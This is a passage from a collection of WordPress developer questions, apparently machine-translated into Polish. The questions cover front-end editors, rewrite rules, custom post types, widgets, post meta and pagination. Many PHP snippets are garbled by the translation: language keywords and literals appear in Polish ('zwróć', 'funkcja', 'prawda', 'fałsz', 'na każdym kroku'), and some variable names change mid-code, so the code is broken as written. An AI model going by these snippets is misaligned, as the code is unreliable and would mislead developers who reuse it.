własną wtyczkę dla obszaru członków, aby nawet jako administrator unikałem dashboardu i pracowałem tylko nad częścią "mojego backendu"? Moim pomysłem nie jest kupowanie / używanie jakiejś gotowej wtyczki, ale samodzielne nauczenie się, jak to zrobić, ale wygląda na to, że nie mogę wygooglować właściwych rzeczy, wszystkie blogi i poradniki to kopie kopii kopii tych samych przykładów i używają tych samych wtyczek. Tak więc każdy jak / dlaczego / co czytać jest potrzebny i doceniany.


title: Jak dołączyć edytor tinymce do frontendu?

text: Staram się dodać edytor tinymce do mojego frontendu, z którego użytkownicy mogą publikować. Ale jak dotąd nie ma szczęścia. Oto kod: **PHP:** add_action('wp_print_scripts', 'my_enqueue_scripts'); function my_enqueue_scripts() { wp_enqueue_script( 'tiny_mce' ); if (function_exists('wp_tiny_mce')) wp_tiny_mce(); } **Javascript:** jQuery(document).ready(function(){ tinyMCE.init({ mode : "textareas", theme : "simple", /*plugins : "autolink, lists, spellchecker, style, layer, tabela, advhr, advimage, advlink, emocje, iespell, wbudowane wyskakujące okienka, insertdatetime, podgląd, multimedia, searchreplace, drukuj, menu kontekstowe, wklej, kierunkowość, pełny ekran, nieedytowalne, znaki wizualne, niełamliwe, xhtmlxtras, szablon",*/ editor_selector :"editor" }); }); **HTML:** <textarea rows="8" cols="40" name="description" id="editor" class="required"><?php echo $description;?></textarea> **Problem :** Texteditor nie dodaje się do obszaru tekstowego. Chociaż ładuje się plik js tinymce.


title: Jak zainstalować Google Analytics w witrynie bez dostępu do Internetu?

text: Właśnie stworzyłem witrynę intranetową dla firmy, w której pracuję. Dział IT nie pozwala mojej witrynie na dostęp do Internetu ze względów bezpieczeństwa, ale mój szef nadal chce mieć zainstalowany Google Analytics. Zwykle po prostu używam wtyczki GA Joosta De Valka, ale nie sądzę, że będzie działać, ponieważ nie mam dostępu do Internetu. Jakieś pomysły na instalację GA bez połączenia z internetem?


title: add_rewrite_rule nie ładuje poprawnej strony nie pobiera zmiennych

text: Próbuję uzyskać tytuł showreela i identyfikator wideo w adresie URL, do którego można uzyskać dostęp ze strony. mam dwa w tym samym adresie URL i albo nie działa, albo pojawia się tylko jeden. Obecnie nie można znaleźć strony? (Ciągle opróżniam permalinki) Adres URL, z którego chcę pobrać zmienne, będzie wyglądał tak: Directors/test- director/showreel/ **showreel-name** /video/ **111** / Witryna obecnie znajduje się w folderze testowym nazwana *niezależna_02*, ale nie jesteś pewien, czy ma to na cokolwiek wpływ? oto kod; function wpse13483_init() { add_rewrite_rule( 'directors/(.+?)/showreels/([^/]+)?/?$', 'index.php?category_name=$matches[1]&showreel=a', 'top ' ); add_rewrite_rule( 'directors/(.+?)/showreels/([^/]+)/video/([^/]+)?/?$', 'index.php?category_name=$matches[1]&showreel= c1&video=c2', 'góra' ); // directors to niestandardowy post_type i powinien przejść do single-directors.php add_rewrite_rule( 'showreels/(.+?)/video/([^/]+)?/?$', 'index.php?category_name=$ dopasowania[1]&video=b', 'top' ); // showreels to niestandardowy post_type i powinien przejść do single-showreels.php } add_action( 'init', 'wpse13483_init' ); Każda pomoc jest doceniana! * * * **AKTUALIZACJE** \- ta reguła działa teraz głównie i przechwytuje zmienne. Jednak będzie to archive.php, a nie directors-single.php? add_rewrite_rule( 'directors/(.+?)/showreels/([^/]*)/video/([^/]*)/?', 'index.php?post_type=directors&showreel=$matches[2]&video= $matches[3]', 'góra' ); // directors to niestandardowy post_type i powinien przejść do single-directors.php Myślę, że ma to związek z '?post_type=directors', ale nie mogę znaleźć żadnego odniesienia do tego, co to powinno być, aby załadować single.php **AKTUALIZACJA 2 ** Patrząc na analizatory Rewrite, uważasz, że brakuje w nim zmiennej post_type? ![reguły](http://i.stack.imgur.com/jhFV2.png)


title: Integracja tagów Buddypress, Wootumblog i WPMU Sitewide

text: Sądząc po braku informacji podczas wyszukiwania, mogę być jedną z niewielu osób, które próbowały sprawić, by te wtyczki dobrze ze sobą współpracowały. Kiedy wszystko zostanie posortowane, a witryna będzie już aktywna, opublikuję link, który, miejmy nadzieję, zainspiruje kilka innych witryn do wypróbowania ich razem. Zasadniczo mam standardową konfigurację WP multisite/BP, do której zainstalowałem wtyczkę WooTumblog na poziomie sieci, a następnie dodałem 'function woo_tumblog_type' i 'function woo_tumblog_short_title' do pliku functions.php w motywie potomnym używanym przez moje podstrony. Zarówno mój główny motyw, jak i motywy potomne są mocno zaadaptowane z motywu BP Default. Nieco sfrustrowany brakiem front-endowych narzędzi do publikowania dla Wordpressa i chętnie korzystam z dashboardu WooTumblog (który wykorzystuje zmiany panelu z obsługą javascript w zależności od tego, czy użytkownik chce opublikować film, obraz, cytat, link czy artykuł), postanowiłem dostosować obszar administracyjny, aby użytkownicy wyglądał identycznie jak front-end witryny, a następnie usunąłem wszystkie inne pola widżetów pulpitu nawigacyjnego (za pomocą unset($wp_meta_boxes…) oraz wszystkie paski boczne i menu administratora (za pomocą remove_submenu_page()), a także dostosowałem administratora Rezultatem jest panel administratora użytkownika, który wygląda tak, jakby był częścią głównej witryny.Konfiguracje są wyzwalane przez poziom użytkownika – przy użyciu trochę odkleiłem się, gdy zaimplementowałem wtyczkę WPMU sitewide tags, która kopiuje wszystko w sieci do jedną witrynę, która może być używana do tworzenia tagów między witrynami, wyszukiwania i wyświetlania wszystkich najnowszych postów w sieci. Na froncie mojej głównej witryny (gdzie są wyświetlane wszystkie najnowsze posty) wyświetlam ponownie ikonę tumblog nst każdy post na podstawie jego taksonomii (tj. wideo, obraz, cytat…) . Zbudowałem funkcję „catch image”, która wyświetla pierwszy obraz z postu, a tam, gdzie nie ma obrazu (takiego jak cytat lub wideo), wyświetla domyślną miniaturę. Wszystko działa dobrze, z wyjątkiem tego, że nie mogę uzyskać niestandardowej taksonomii, aby dotrzeć do głównej witryny (lub tagowania bloga), dzięki czemu mogę dostosować prezentację tych postów podwitryny. Byłem w kontakcie z Ronem Rennickiem (który utrzymuje WPMU SWT) i Jeffem Pearce (który jest twórcą motywów woo za wootumblogiem). Oboje podzielili się swoimi radami, ale ja nie pracowałem z klasami, akcjami i filtrami, więc trudno mi przełożyć ich rady na namacalne zmiany w moim kodzie. Jeśli ktoś ma wolną chwilę i chciałby spróbować, oto link do rady Rona; http://wordpress.org/support/topic/getting-buddypress-and-sitewide-tags-to-play-nicely?replies=10 Z wejściem Rona stworzyłem następującą wtyczkę.. <?php /* Nazwa wtyczki: SWT Opis taksonomii niestandardowej: dodanie nowych taksonomii niestandardowych do wtyczki tagów wpmu sitewide. Wersja: 1.0 Autor: CitizenSlide Licencja: GPL2 */ function my_swt_custom_tax_filter( $taxonomies ) { $taxonomies[] = 'tumblog'; zwróć $taksonomie; } add_filter( 'sitewide_tags_custom_taxonomies', 'my_swt_custom_tax_filter' ); ?> Ale o ile wiem, nie ma żadnych zmian w danych wyjściowych napisanych na blogu z tagiem SWT. Ktoś ma jakieś myśli? Chcę „tylko” przenieść jedno pole (taksonomii niestandardowej) z podstrony do witryny głównej za pomocą wtyczki tagów całej witryny. Jak trudne może być to naprawdę?


title: Aktualizacja wp_options z tablicą na save_post powoduje zduplikowane wpisy

text: Nie jestem do końca pewien, czy to wina Wordpressa, ale myślę, że i tak zapytam i zobaczę, czy ktoś inny nie doświadczył wcześniej takich problemów. Próbuję zapisać tablicę w wierszu tabeli wp_options. Dane pochodzą z niestandardowego metaboxu i są zapisywane po uruchomieniu haka save_post. Założyłem, że to powinno załatwić sprawę: update_option("myOptionName", $myArray); Zacząłem otrzymywać 4(?!) z każdej zapisanej wartości. Na przykład: $myArray = array("opcja1"); update_option("myOptionName", $myArray); get_option("mojaNazwaOpcji"); // tablica([0]=>"opcja1", [1]=>"opcja1", [2]=>"opcja1", [3]=>"opcja1"); Nie trzeba dodawać, że to zachowanie jest niezwykle denerwujące. Działa doskonale z ciągami, ale nigdy z tablicami. Próbowałem obejść ten problem, próbując json_encode przechowywać go jako jednostkę ciąg-y, ale nawet to nie działa. Problemem może być przestarzały kod, który odziedziczyłem po tym projekcie, ale nie widzę nic wskazującego na save_post. Czy ktoś widział kiedyś taką sytuację? EDYCJA: Zgodnie z żądaniem ... funkcja zapisu: # SAVE BRICK DATA function brick_update() { // Sprawdź, czy jest to procedura automatycznego zapisywania. if (zdefiniowane( 'ROBIENIA_AUTOMATYCZNY' ) && ZROBIĆ_AUTOSAVE ) { return; } // Sprawdź uprawnienia if ( !current_user_can( 'publish_posts' ) ) { // Sprawdź możliwości wp_die( 'Przepraszamy, nie masz możliwości dostępu do tej strony. :(' ); } if (!wp_verify_nonce($_REQUEST ['brickupdate'], 'brickupdate')) { return; } $newView = array(); $currentView = get_option('ci_guidesbrick_posts'); if (!is_array($currentView)) { $currentView = (array)$currentView ; } for (var i = 0, i < count($currentView), i++) { $newView[i] = $currentView[i]; } $newView[] = $_REQUEST['postID']; update_option('ci_guidesbrick_posts ', $nowyWidok ); }


title: Obowiązkowy formularz zgody na dostęp do innej strony?

text: Chcę skonfigurować stronę z formularzem, który odwiedzający musi wypełnić i zaakceptować warunki, zanim przejdzie na inną stronę. Czy jest do tego wtyczka? Jeśli nie ma wtyczki, czy jest inny sposób? Każda pomoc byłaby mile widziana! Greg


title: Wtyczka do czytania dokumentów, plików PDF itp.

text: Pracuję nad projektem takim jak scribd.com przy użyciu WordPressa, czy jest dostępna jakaś wtyczka, która może czytać dokumenty we flashu lub w iframe. Przykłady: scribd.com docstoc.com books.google.com


title: Jak dodać niestandardową funkcję do pluggable.php

text: Pracuję nad wtyczką WP i chcę dodać niestandardową funkcję do pluggable.php (znajduje się w /wp-includes). Wywołuję tę funkcję z admin.php (znajduje się w /wp-admin) np. Rozważ funkcję `auth_redirect`, która jest wywoływana z admin.php. `auth_redirect` to funkcja zdefiniowana w pluggable.php, która sprawdza zalogowanych użytkowników, w przeciwnym razie przekierowuje ich na stronę logowania. Podobnie mam własną funkcję niestandardową. Czy jest więc jakiś konkretny zaczep lub filtr, którego muszę użyć, aby dołączyć moją funkcję do pluggable.php. Obecnie używam `fwrite()`, aby dodać moją niestandardową funkcję do pluggable.php. Ale myślę, że to nie jest właściwa droga. Czy możesz więc zasugerować mi właściwy sposób wstawienia mojej niestandardowej funkcji i wywołania jej z admin.php Każda pomoc będzie mile widziana.


title: Przepisz niestandardowy adres URL typu postu, dodając wartości metabox

text: Mam te niestandardowe typy postów (CPT) i meta pola: * Filmy (CPT) * Gatunek (Meta box) * Gatunki (CPT) Jeśli jeden film nazywa się Die hard, chcę, aby permalink był: /genres/action /die-hard Można to łatwo naprawić, ustawiając film-CPT na 'rewrite' => false i zamiast niego użyć następującego kodu: add_action('init', 'rb_add_rewrite_rules'); add_filter('post_type_link', 'rb_create_permalinks', 10, 3); funkcja rb_add_rewrite_rules() { globalna $wp_rewrite; $wp_rewrite->add_rewrite_tag('%movies%', '([^/]+)', 'movies='); $wp_rewrite->add_rewrite_tag('%genre%', '([^/]+)', 'genre='); $wp_rewrite->add_permastruct('filmy', '/genres/%genre%/%movies%', fałsz); } function rb_create_permalinks($permalink, $post, $leavename) { $no_data = 'brak danych'; $post_id = $post->ID; if($post->post_type != 'movies' || empty($permalink) || in_array($post->post_status, array('draft', 'pending', 'auto-draft'))) return $permalink ; $event_id = get_post_meta($post_id, 'gatunek', prawda); $zmienna1 = nazwa podstawowa(get_permalink($event_id)); $zmienna1 = sanitize_title($zmienna1); if(!$zmienna1) $zmienna1 = $brak_danych; $permalink = str_replace('%genre%', $zmienna1, $permalink); zwróć $permalink; } Ok, oto problem. Zarówno link Die Hard, jak i archive-genres.php (wyświetlający wszystkie gatunki) wyglądają dobrze, ale nie znaleziono single-genres.php – zamiast tego przejście do /genres/action spowoduje wyświetlenie kodu index.php. Wydaje mi się, że problem polega na tym, że moje przepisania się kolidują, może nie jest to możliwe: **'filmy' CPT permalink** /niestandardowa nazwa podstawowa/niestandardowa wartość pola pola)/'filmy' Nazwa posta CPT **'gatunki' CPT permalink** /niestandardowa nazwa typu postu (taka sama wartość jak niestandardowa nazwa podstawowa powyżej!)/'gatunki' Nazwa posta CPT Jak mogę sprawić, by WordPress używał single-genres.php do /genres/action itp.?


title: Archiwum wydarzeń według miesiąca

text: Tworzę stronę wydarzeń dla teatru w wordpressie - w tej chwili ustawiłem niestandardowy typ postu dla wydarzeń i używam niestandardowego pola 'event_date' (które formatuje się na RRRR-MM-DD) do zamówienia wydarzeń na ich stronę z listą, a także przenieś je do archiwum, jeśli minęła dzisiejsza data. Jak dotąd wszystko działa ładnie. Następnie muszę utworzyć filtr miesiąc po miesiącu dla miesięcy, w których pojawiają się programy, ale jestem trochę zakłopotany. Myślę, że muszę: \- sprawdzić miesiące, które zawierają pokazy (nie przeszłe) i wyprowadzić listę linków tych miesięcy do szablonu, który filtruje, aby pokazać odpowiedni miesiąc.. Jakieś wskazówki? Z góry dziękuję


title: Jak zaktualizować/usunąć tablicę w wartości meta posta?

text: Używam postu meta jak .. $meta = get_post_meta (99,'_mymeta',true); $wartość = $meta['jakiśklucz']; echo $wartość; Ale jak zaktualizować `$meta['jakiśklucz']` do innej wartości? Jak używać update_post_meta do aktualizacji podklucza meta ?(Idk, Jak wywołanie ppl) update_post_meta(99, '_mymeta["jakiś"]', 'myAnotherValue'); ?????


title: Jak dodać podfoldery w bibliotece multimediów dla lepszej organizacji?

text: W tej chwili nie mogę utworzyć żadnego podfolderu np. recenzje, wiadomości, wywiady itp. Mam wiele zdjęć w mojej bibliotece multimediów i jest bałagan. Jak mogę utworzyć kilka folderów i uporządkować tam obrazy?


title: Pokazywanie powiązanych postów (niestandardowy typ posta) poza pętlą

text:
Próbuję następującego (jest to widżet paska bocznego w szablonie Single New):
 <?php $postid = $post->ID; $categories = get_the_category($post->ID); ?>
<?php echo $postid; ?>

<?php echo $kategorie; ?>
 <?php // Utwórz i uruchom własną pętlę $args=array( 'post_type' => 'news', 'category__in' => $categories, 'post__not_in' => $postid, 'posts_per_page'= > 3 // Liczba powiązanych postów, które zostaną pokazane. ); $custom_posts = nowy WP_Query(); $custom_posts->zapytanie( $args ); while ($custom_posts->have_posts()) : $custom_posts->the_post(); ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
 <?php endwhile; ?> <?php wp_reset_postdata(); ?>
Zobacz wszystkie pozycje >>

 Ale jak się okazuje, `$postid` pojawia się puste, a `$categories` wyświetla jako `Array`. Co ja tu robię źle?


title: Szukasz wtyczki stylu członkostwa z opcją edycji

text: Przeszukałem, ale do tej pory nie znalazłem tego, czego szukam. Szukam wtyczki, która zapewni funkcjonalność na stronie dla następujących czynności: * Użytkownik chce zarejestrować się w mojej witrynie, przechodzi proces rejestracji * Loguje się do portalu użytkownika, gdzie może dodawać/edytować/usuwać własne posty * Oferuj bezpłatne i płatne członkostwo Sprawdziłem wtyczki członkostwa, ale żadna nie spełnia mojej potrzeby, aby użytkownik mógł dodawać/edytować/usuwać własne posty, a ich portal NIE wyglądał jak WordPress, ale raczej rozwiązanie „białej etykiety”, jeśli będziesz. Nie chcę oferować treści premium, chcę zapewnić miejsce, w którym ludzie mogą umieszczać własne przedmioty w witrynie internetowej w stylu aukcji. Wszelkie informacje byłyby bardzo mile widziane. Dzięki koleś


title: Jak odłączyć moją nazwę domeny?

text: Więc mam problem. Niedawno kupiłem nazwę domeny, a także plan hostingowy. Potem ściągnąłem WordPressa i teraz za każdym razem, gdy chcę edytować swoją stronę, muszę to zrobić logując się na stronę „example.com/wp-admin”. Problem polega jednak na tym, że chcę móc stworzyć własną stronę internetową za pomocą FTP (CyberDuck) i nie muszę korzystać z usług WordPress. Robię to po raz pierwszy, więc nie jestem pewien, czy moja nazwa domeny jest teraz połączona z WordPressem? Jeśli tak, to w jaki sposób mogę go odłączyć, aby po prostu mieć własną nazwę domeny i móc samodzielnie edytować witrynę z HTML/CSS/JS za pomocą FTP? Jestem bardzo zdezorientowany i nie wiem, co robić.


title: Czy dwie wtyczki WordPress mogą współdzielić tę samą bazę kodu?

text: Napisałem więc swoją pierwszą wtyczkę WordPress do produkcji i w ciągu najbliższych kilku dni będę rozpoczynał kolejny projekt, w którym być może będę musiał napisać dwie wtyczki do tej samej witryny WP, ponieważ wykonują one dwa różne zestawy zadań. Teraz przeglądałem część kodu, który napisałem dla pierwszej wtyczki. Pomyślałem, że byłoby wspaniale, gdyby te dwie wtyczki mogły współdzielić część kodu, który napisałem dla pierwszej wtyczki z mojego wcześniejszego projektu. Na początku pomyślałem, że może powinienem napisać jedną wtyczkę, która zrobi to wszystko, ale po pewnym zastanowieniu doszedłem do wniosku, że chcę, aby moje wtyczki były małe i wykonywały kilka zadań, zamiast mieć nadętą wtyczkę, która robi za dużo. Ciężko by to było później utrzymać. Zastanawiałem się więc, czy ktoś kiedykolwiek napisał bazę kodu dla wielu wtyczek, które może udostępniać i jak to osiągnąłeś. Wszelkie odpowiednie linki byłyby mile widziane.


title: Czy mogę określić, że custom.css zostanie załadowany w Wygląd> Edytor zamiast style.css?

text: Chcę określić, który plik css zostanie załadowany, gdy użytkownik kliknie „Wygląd> Edytor”. Jednak z jakiegoś powodu zawsze ładuje style.css. Jest jakiś sposób na wymuszenie załadowania tam określonego pliku?


title: Jak naprawić te ostrzeżenia PHP za pomocą wtyczki „Feed JSON”?

text: Podczas korzystania z wtyczki WordPress „Feed JSON” otrzymuję następujące ostrzeżenia PHP. Czy ktoś może mi powiedzieć, jak je naprawić? > Ostrzeżenie: Nieprawidłowy argument podany dla foreach() w /mypath/wp- > content/plugins/feed-json/feed-json-template.php w wierszu 39. > > Ostrzeżenie: Nie można modyfikować informacji nagłówka - nagłówki już wysłane przez (wyjście > rozpoczęte w /mypath/wp-content/plugins/feed-json/feed-json-template.php:39) > w /mypath/wp-content/plugins/feed-json/feed-json-template.php on-line 53 Oto kod użyty w feed-json-template. Linie 39 i 53 są wyróżnione ** wokół każdej linii. <?php /** * Szablon kanału JSON do wyświetlania kanału postów JSON. * */ $callback = trim(esc_html(get_query_var('callback'))); $zestaw znaków = get_bloginfo('zestaw znaków'); if ( have_posts() ) { $json = array(); while ( have_posts() ) { the_post(); $id = (int) $post->ID; $single = array( 'id' => $id , 'title' => get_the_title() , 'permalink' => get_permalink(), 'content' => get_the_content(), 'excerpt' => get_the_excerpt(), ' date' => the_date('Y-m-d H:i:s','','',false) , 'autor' => pobierz_autora() , ); // miniatura if (has_post_thumbnail($id)) { $single["thumbnail"] = preg_replace("/^.*['\"](https?:\/\/[^'\"]*)[' \"].*/i","$1",get_the_post_thumbnail($id)); } // kategoria $categories = array(); foreach((get_the_category()) as $category) { $categories[] = $category ->cat_name; } $single["categories"] = $categories; // tag $tags = array(); **foreach((get_the_tags()) as $tag) {** $tags[] = $tag- >name; } $single["tags"] = $tags; $json[] = $single; } $json = json_encode($json); nocache_headers(); if (!empty($callback)) { header(" Content-Type: application/x-javascript; charset=$charset"); echo "$callback($json);"; } else { **header("Content-Type: application/json; charset=$charset") ;** echo "$json"; } } else { header("Nie znaleziono HTTP/1.0 404"); wp_die("404 nie znaleziono"); } ?>


title: Widgety z grupami / subwidżetami? Widget w widżecie?

text: Próbowałem znaleźć coś na temat dodawania widżetu w obszarze widżetów. Ten widżet powinien być obszarem grupy widżetów / subwidżetów. **Znalazłem wtyczkę, która to robi:** * http://wordpress.org/extend/plugins/extensible-widgets/ * http://jidd.jimisaacs.com/files/2010/02/wpew- screen-9.png **To, czego naprawdę chcę, to dynamiczne tworzenie czegoś takiego bez pomocy wtyczek:** * http://www.gabfirethemes.com/demos/newspro/ Jakieś błyskotliwe pomysły?


title: Wstaw/przyklej wiele postów w wielu pozycjach

text: Próbuję to zrobić, ale z wieloma postami i określonymi stanowiskami. Pozycje postów są teraz na stałe zakodowane, ale zostaną przejęte z meta postu. Ten kod jest uruchamiany tylko na stronie głównej, a posty nie są podzielone na strony. $essay_args = array( 'posts_per_page' => get_option('posts_per_page'), 'post__not_in' => array($post->ID), 'post_type' => array('post') ); $eseje = get_posts( $essay_args ); $fixed_posts = get_posts(array('post_type'=>array('reklama','książka'))); $pozycje = tablica(2,5,10); // do pobrania z postów ogłoszeniowych/książkowych $x = 0; foreach($fixed_posts jako $fixed_post) : setup_postdata($post); $e_posts = new WP_Query(array('p'=>$fixed_post->ID,'post_type'=>array('ad','book'))); if (!empty($e_posts->posts)) array_splice($eseje,$positions[$x],0,$e_posts->posty); $x++; na każdym kroku; foreach($eseje jako $esej) : setup_postdata($post); echo $esej->tytuł_postu . '<br>'; na każdym kroku; Czy bardziej sensowne jest wykonywanie wielu żądań WP_Query/get_posts dla każdego postu według identyfikatora, czy też zbytnio obciąża to bazę danych? Czy jest na to czystszy sposób?


title: Niestandardowy widżet nie pojawia się w interfejsie

text:
W moim motywie `functions.php` zdefiniowano następującą lokalizację widżetu: register_sidebar( array( 'name' => __( 'Godziny otwarcia', 'transparent' ), 'id' => 'sidebar-hours', 'description ' => __( 'Pojawia się na pierwszej stronie', 'przezroczysty' ), 'before_widget' => '
', 'after_widget' = > '
', 'before_title' => '
', 'after_title' => '
', ) ); Ta lokalizacja widżetu jest wyświetlana w sekcji Administracja > Wygląd > Widżety, a w tej lokalizacji mam widżet tekstowy HTML. W pliku index.php mojego motywu mam następujący kod: <?php if ( is_active_sidebar( 'godziny-paska-bocznego' ) ) : ?>
 <?php dynamic_sidebar( 'godziny-paska-bocznego' ); ?>
 <?php endif; ?> Jednak na froncie strony tekst widżetu nie pojawia się. Powinien znajdować się poniżej menu nawigacyjnego. Czy możesz udzielić porady dotyczącej rozwiązywania problemów?


title: pobierz obrazy postów, aby połączyć je ze źródłami zewnętrznymi

text: Buduję witrynę, która zawiera listę najnowszych postów na pierwszej stronie, witryna jest rekompilacją interesujących artykułów i obrazów, więc nie ma sensu linkowanie do pojedynczego posta. Obecnie mam tytuł przekierowujący zewnętrznie do linku, ale chciałbym również linkować zewnętrznie za pomocą obrazu posta. Ustawiłem niestandardowe pole "externalurl" To jest to, co mam do tej pory w loop.php, które nie działa: <?php if ( has_post_thumbnail() ){ ?> <?php $thumbURL = get_post_custom_values('externalurl '); ?> <a href="<?php echo get_attachment_link($thumbURL); ?>" rel="gallery" title="<?php the_title(); ?>"> <?php the_post_thumbnail(); ?>   <?php } ?> Czy ktoś ma pojęcie, co robię źle? Wszelkie sugestie mile widziane. Z góry dziękuję!


title: Uzyskaj adres URL galerii (Nextgen)

text: Czy istnieje sposób na uzyskanie adresu URL galerii obrazów. To co chcę zrobić to: image1 image2 image3 są w galerii "Pinto". Kiedy użytkownik kliknął na przykład na **obraz 1** i wyskoczyło to w lightboxie, który chcę tam pokazać, z której galerii jest obraz i kiedy użytkownik kliknął ten link, aby przejść do tej galerii. Dowiedziałem się, jak uzyskać tytuł galerii - `<?php echo $gallery->title ?>` , ale nie mogłem znaleźć odpowiedniego kodu dla adresu URL galerii. Każda pomoc byłaby bardzo mile widziana. Dziękuję. p.s. Przepraszam za mój angielski.


title: Wtyczka dla TinyMCE do tworzenia odnośników do innych postów

text: Czy jest jakaś wtyczka, która pozwoliłaby mi łatwo wstawić odnośnik do innego postu dla TinyMCE? Chcę móc odwołać się do innego posta za pomocą linku bezpośredniego, a tekst linku będzie tytułem posta. Alternatywnie, czy jest jakaś wtyczka, która pozwala mi to zrobić za pomocą krótkiego kodu? tj. [odniesienie post-id="2345" link="peramlink"]


title: Niestandardowy typ postu i szablon pojedynczego posttype

text: Utworzyłem funkcję CPT **topic** wpse100_create_cpt() { register_post_type( 'topic', array( 'labels' => array( //..... ), 'public' => true, 'publicly_queryable' => true , 'capability_type' => 'post', 'hierarchical' => false, 'rewrite' => array( 'slug' => '/topic', 'with_front' => false ), 'has_archive' => false, ' zapytanie_zmienna' => prawda, ) ); add_action( 'init', 'wpse100_create_cpt' ); Wybieram permalink /%postname%, ale domyślnie URL mysite.tld/topic/postname, wtedy usuwam slug z URL mysite.tld/postname używa tej funkcji kodu wpse100_remove_slug($post_link, $post) { if ( 'topic' ! = $post->post_type ) return $post_link; return str_replace(get_bloginfo('url') . '/topic' , get_bloginfo('url'), $post_link); } add_filter( 'post_type_link', 'wpse100_remove_slugs', 10, 2 ); a następnie utwórz szablon dla CPT single-topic.php, ale pojawia się błąd 404. Jak mogę naprawić błąd? PS Jeśli wyłączę funkcję `wpse100_remove_slug()` działa dobrze, ale potrzebuję użyć adresu URL takiego jak mysite.tld/postname Dzięki!


title: Chcesz wiedzieć, kto jest administratorem/użytkownikiem logowania?

text: chcę wiedzieć, kto jest zalogowany w mojej witrynie Wordpress, jeśli zaloguj się jako administrator, przejdź do pulpitu nawigacyjnego, a jeśli zalogujesz się przez użytkownika, przejdź do strony głównej Podejście: użyłem tego kodu <?php if ( is_user_logged_in() ) { echo „użytkownik jest loin”; } else { echo 'Nie loguję' ; } ?> i if(is_admin()) { ...wypisz moje informacje administratora....} ale nie działa. jakakolwiek pomoc byłaby niezmiernie wdzięczna.


title: Pokaż, czy post jest plusem czy minusem za pomocą Wp-Postratings

text: Używam WP-Postratings, aby pokazywać kciuki w górę lub w dół dla postów i chcę pokazać na stronie głównej we fragmentach postów, niezależnie od tego, czy post jest na plusie czy na minusie. Jeśli jest na plusie, chcę pokazać niestandardowy obraz, ale jeśli negatyw chcę pokazać inny obraz. Jakieś pomysły, jak to zrobić?


title: Uzyskaj identyfikator obiektu według adresu URL

text: Mam adres URL (np. URL `/sample-page/`), potrzebuję odpowiedniego identyfikatora obiektu. Jak?


title: the_fragment i shortcodes

text:
Używam the_excerpt na mojej stronie indeksu. Używam również skrótu do dropcap na początku każdego z moich postów. Na stronie indeksu posty nie będą wyświetlać litery z umieszczonym w niej skrótem. Jeśli mój post zawiera słowo „Pies”, strona indeksu wyświetla „og”. Jak sprawić, by skróty działały podczas korzystania z the_excerpt? Funkcja shortcode drcap ($atts, $content = null) { return '
' . do_shortcode($zawartość) . '
'; } add_shortcode('dropcap', 'drcap');


title: odkażanie/uciekanie opcji wtyczek

text: Mam wtyczkę z kilkoma polami tekstowymi, które zapisują dane w sposób serializowany, tablica jest lokalizowana i drukowana w interfejsie witryny, aby wyświetlać niestandardowe komunikaty. Jednak właśnie zauważyłem, że możesz dodać html i javascript w polach tekstowych, czy mimo to można zabronić tego rodzaju treści?


title: Treść strony wysłana z XML RPC jest uszkodzona

text: Używam python-wordpress-xmlrpc do edycji strony do wordpress, generuję trochę kodu HTML i wysyłam go do wordpress. Treść jest fragmentem poprawnego kodu html, składa się ze zwykłych tagów html i trochę tekstu. Jednak kiedy przeglądam stronę w desce rozdzielczej Wordpress, zawartość strony wygląda następująco: h2My Product C++/h2 div style=”border: 2px solid #ECECEC;-webkit-box-shadow: 1px 2px 5px #888;” p align=”justify”bFDM/b (bx) jest czymś fajnym Jak widzisz `<h2>` staje się `h2>`, `<div>` stało się `div>`. HTML po stronie Pythona wygląda OK, więc zgaduję, że nie używam poprawnie XML RPC. Jakieś pomysły, gdzie/dlaczego miałby wystąpić ten rodzaj korupcji?


title: Czy uporządkowanie listy postów według meta_value może powodować problemy z wydajnością?

text: Aby doprecyzować kod i dodać nowe funkcje do mojej wtyczki, chcę wyświetlać posty uporządkowane według określonej wartości metakolumny w ten sposób; query_posts($query_string . '&meta_key=views&orderby=meta_value&order=DESC'); Czy może to powodować problemy z wydajnością w przypadku dużych blogów, których łączna liczba postów przekracza 10000+? * Mogę użyć WP_Query() lub get_posts() zamiast query_post()


title: Edytor programu Wordpress Uploader pokazuje uszkodzony obraz

text: Mam zainstalowaną najnowszą wersję Wordpress. Kiedy przesyłam obraz do panelu sterowania dla posta, przechodzę do jego edycji (przycinam obraz miniatury tak, jak chcę, obracam lub edytuję), a zamiast tego pokazuje uszkodzony obraz. Rzeczywiste obrazy są przesyłane, po prostu nie mogę korzystać z edytora obrazów Wordpress. Jakieś pomysły, dlaczego lub jak naprawić? Zobacz obrazek poniżej, aby uzyskać więcej szczegółów ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/78FFz.png)


title: Paginacja zgłasza błąd 404 na stronach archiwum niestandardowej taksonomii

text: Stworzyłem niestandardową taksonomię dla niestandardowego typu postu o nazwie „portfolio”, na przykład: function jvs_portfolio_categories_init() { register_taxonomy( 'project-category', 'portfolio', array( 'label' => __( 'Kategorie projektów' ), 'query_var' => prawda, 'hierarchiczna' => prawda ) ); } add_action( 'init', 'jvs_portfolio_categories_init' ); Następnie dodałem stronę `archives.php`, abym mógł wyświetlać posty w tych taksonomiach, problem polega na tym, że paginacja pęka na drugiej stronie, to jest w zasadzie moja pętla na stronie archiwów: <?php $paged = (get_query_var(' strona')) ? get_query_var('strona') : 1; ?> <?php globalne $query_string; query_posts($query_string . '&post_type=portfolio&paged=' . $paged); ?> <?php if (have_posts()) while (have_posts()) : the_post(); ?> // Rzeczy tutaj <?php endwhile; ?> Po prostu pokazuje mi błąd 404 strony, gdy próbuję przejść do drugiej strony, używam ładnych permalinków, ale jeśli ręcznie zastąpię parametr `/page/2` w adresie URL z `?page=2` działa dobrze, mimo że paginacja działa dobrze w każdym innym miejscu witryny. Czy możecie mi pomóc? Z góry dziękuję!


title: Shortcode nie pozostawia miejsca na inne elementy?

